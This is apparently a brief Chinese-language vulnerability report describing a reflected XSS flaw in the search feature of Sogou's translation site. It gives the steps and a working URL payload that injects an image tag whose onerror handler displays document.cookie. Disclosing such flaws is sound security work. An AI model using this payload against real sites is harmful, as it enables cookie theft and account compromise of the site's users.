搜索处存在反射xss

漏洞挖掘

1、打开Url：http://fanyi.sogou.com/?fr=websearch

2、发现可以解析html，直接构造payload：

http://fanyi.sogou.com/?fr=websearch#zh-CHS/en/123%22%3E%3Cimg%2Fsrc%3D'x'%2Fonerror%3Dalert(document.cookie)%3E